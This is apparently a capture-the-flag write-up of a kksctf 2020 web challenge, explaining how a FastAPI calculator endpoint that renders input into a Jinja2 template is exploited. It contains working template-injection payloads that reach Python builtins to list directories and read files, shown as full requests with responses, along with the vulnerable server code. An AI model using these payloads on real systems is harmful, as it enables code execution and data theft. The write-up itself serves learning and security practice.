Writeup: kksctf 2020 - Str4nge S3cr3t Sit3

Information

  • category: web
  • points: 612
  • topic: python jail escape

Description

Thanks for your reports at cypherpunk2077!

We found a new secret website, please, can you check it for any hidden information?

Link

Writeup

The page presented at the provided link prompts the user to “look around” for more information, and no endpoint from the
previous challenge (cypherpunk2077) seems to be exposed (/reports).

index.html

A quick look at the source provides a not-so-useful hint:

1
2
3
4
<div class="l-about__box" style="top: 31.1111vh; left: 0px;">
Hello. Welcome to site. Feel free to look around.
<!-- androids and electrosheeeeps....... -->
</div>

The comment is probably referring to Philip K. Dick’s novel, “Do Androids Dream of Electric Sheep?”, which was “Blade
Runner”‘s original title. Now back to the challenge.

Checking robots.txt reveals two interesting routes.

1
2
3
User-agent: HeaderLess-Robots
Disallow: /flag.txt
Disallow: /flag

Obviously, accessing those endpoints doesn’t provide any actual flag.

1
"flag? No. You don't need it"

But what those routes highlight is something that was present on the first challenge as well:

1
2
3
4
5
6
HTTP/1.1 200 OK
date: Sun, 13 Dec 2020 11:23:28 GMT
server: uvicorn
content-length: 29
content-type: application/json
x-powered-by: FastAPI

The x-powered-by header shows that the API we are trying to access has been implemented
using FastApi, a “modern, fast (high-performance), web framework for building APIs
with Python 3.6+”
.

Going through FastApi docs shows some interesting routes: FastApi provides docs-generation out of the box, and (as
stated here) it’s accessible through the /docs (Swagger based
docs) or /redoc (Redoc based docs) paths.

Checking out /docs revealse a strange looking endpoint, Do Kek.

Do Kek endpoint

The Swagger generated docs, in particular, allow a quick interaction with the api, all directly
from the browser.

By providing a mathematical expression to the endpoint through the calc_req parameter it’s possible to obtain the
result as a response: what’s interesting is how the endpoint behaves when not provided with a mathematical expression.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1 + 2 + 3
http://tasks.kksctf.ru:30080/3l3ctriC_Sh33Ps_dR34m5_4b0ut_C4lc?calc_req=1%20%2B%202%20%2B%203
{
"data": "=6"
}

# "hello there"
http://tasks.kksctf.ru:30080/3l3ctriC_Sh33Ps_dR34m5_4b0ut_C4lc?calc_req=%22hello%20there%22
{
"data": "=hello there"
}

# ["a"] * 5
http://tasks.kksctf.ru:30080/3l3ctriC_Sh33Ps_dR34m5_4b0ut_C4lc?calc_req=%5B%22a%22%5D%20%2A%205&additional_text=%3D
{
"data": "=['a', 'a', 'a', 'a', 'a']"
}

This seems to allow some interesting python expressions, which could mean eval or some similar instruction is being
run on the provided input (this does not affect the additional_text parameter though).

Requesting for some more useful python instruction leads to errors:

1
2
3
4
5
6
7
# __import__("os")
http://tasks.kksctf.ru:30080/3l3ctriC_Sh33Ps_dR34m5_4b0ut_C4lc?calc_req=__import__%28%22os%22%29
Internal Server Error

# open("/etc/passwd", "rt")
http://tasks.kksctf.ru:30080/3l3ctriC_Sh33Ps_dR34m5_4b0ut_C4lc?calc_req=open%28%22%2Fetc%2Fpasswd%22%2C%20%22rt%22%29
Internal Server Error

This could revolve around being allowed code execution inside some sort of jailed environment. Trying with something
more complicated yields better results:

1
2
3
4
5
# ().__class__
http://tasks.kksctf.ru:30080/3l3ctriC_Sh33Ps_dR34m5_4b0ut_C4lc?calc_req=%28%29.__class__
{
"data": "=<class 'tuple'>"
}

It might be possible to build a payload starting from that, such as

1
().__class__.__bases__[0].__subclasses__()[140]()._module.__builtins__["__import__"]("os")

which could be way more dangerous than an harmless calculator; time for the actual payload (more details about the
payload’s contents later).

1
2
3
4
5
# ().__class__.__bases__[0].__subclasses__()[140]()._module.__builtins__["__import__"]("os").listdir()
http://tasks.kksctf.ru:30080/3l3ctriC_Sh33Ps_dR34m5_4b0ut_C4lc?calc_req=%28%29.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B140%5D%28%29._module.__builtins__%5B%22__import__%22%5D%28%22os%22%29.listdir%28%29
{
"data": "=['__pycache__', 't', 'main.py', 'requirements.txt']"
}

One useful thing could be extracting the server source code
thorugh ().__class__.__bases__[0].__subclasses__()[140]()._module.__builtins__["open"]("main.py","rt").read(), which
gives back this beauty:

1
2
3
{
"data": "=import os\nimport jinja2\n\nfrom {... too much code for a single line ...} \n return {\"data\": data}\n"
}

Here’s the same thing but beautified (thanks @eciavatta)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

import os
import jinja2

from asyncio import Lock
from fastapi import FastAPI, Form, HTTPException, status, Request
from fastapi.templating import Jinja2Templates
from starlette.responses import Response, HTMLResponse, PlainTextResponse

from pprint import pprint

app = FastAPI()

_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=os.path.join(_base_path, "t"))


@app.get("/")
@app.get("/index")
async def index(req: Request, resp: Response) -> Response:
return t.TemplateResponse('index.jhtml', {
"request": req,
}, headers={"X-Powered-By":"FastAPI"})


@app.get("/flag")
@app.get("/flag.txt")
async def no_flag(req: Request, resp: Response):
resp.headers["X-Powered-By"] = "FastAPI"
return "flag? No. You don't need it"


@app.get("/robots.txt")
async def robots(req: Request, resp: Response):
resp.headers["X-Powered-By"] = "FastAPI"
return PlainTextResponse("""User-agent: HeaderLess-Robots
Disallow: /flag.txt
Disallow: /flag""")


@app.post("/3l3ctriC_Sh33Ps_dR34m5_4b0ut_C4lc")
async def do_kek(req: Request, resp: Response, calc_req: str, additional_text: str = '='):
rtemplate = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ add_text }}}}{{{{ {calc_req} }}}}")
data = rtemplate.render({"add_text": additional_text})
return {"data": data}

which shows our code gets executed inside a jinja2 template (do_kek function).

Since the flag doesn’t seem to be in this directory, and that the source code refers to t as a sub-directory, we can
list it the same way we did before:

1
2
3
4
5
# ().__class__.__bases__[0].__subclasses__()[140]()._module.__builtins__["__import__"]("os").listdir("t")
http://tasks.kksctf.ru:30080/3l3ctriC_Sh33Ps_dR34m5_4b0ut_C4lc?calc_req=%28%29.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B140%5D%28%29._module.__builtins__%5B%22__import__%22%5D%28%22os%22%29.listdir%28%22t%22%29
{
"data": "=['calc_or_not_to_calc.jhtml', 'base.jhtml', 'index.jhtml']"
}

The first file seems particularly juicy, let’s take a peek inside

1
2
3
4
5
# ().__class__.__bases__[0].__subclasses__()[140]()._module.__builtins__["open"]("t/calc_or_not_to_calc.jhtml","rt").read()
http://tasks.kksctf.ru:30080/3l3ctriC_Sh33Ps_dR34m5_4b0ut_C4lc?calc_req=%28%29.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B140%5D%28%29._module.__builtins__%5B%22open%22%5D%28%22t%2Fcalc_or_not_to_calc.jhtml%22%2C%22rt%22%29.read%28%29
{
"data": "={% extends \"base.jhtml\" %}\n\n{% block content %}\n\n<!-- kks{jinj4_inj3cti0ns_c4n_t4k3_y0u_t0_dr34m5} -->\n\n{% endblock %}\n"
}

Boring explanation of the payload

  • () refers to a tuple object
  • .__class__ allows access to the class reference of tuple
  • .__bases__[0] refers to the first base class of tuple, which is object
  • .__subclasses__()[140]() goes through the loaded subclasses of object, and by listing them locally (e.g. the
    following piece of code) one can determine the approximate index for the desired class (in our
    case, warnings.catch_warnings was at index 139 locally, but 140 remotely).
    1
    2
    for i,c in enumerate(().__class__.__bases__[0].__subclasses__()[140]):
    print(i,c)
  • ._module accesses the warnings python module
  • .__builtins__ is a constant exposed inside every module, containing python global builtin functions

From __builtins__ it’s possible to access import, open and many other builtin functions, allowing for actual code
execution.

Flag

kks{jinj4_inj3cti0ns_c4n_t4k3_y0u_t0_dr34m5}

Fails

Accessing the endpoint from Burp instead of using the Swagger-generated docs ¯_( ͠° ͟ʖ ͠° )_/¯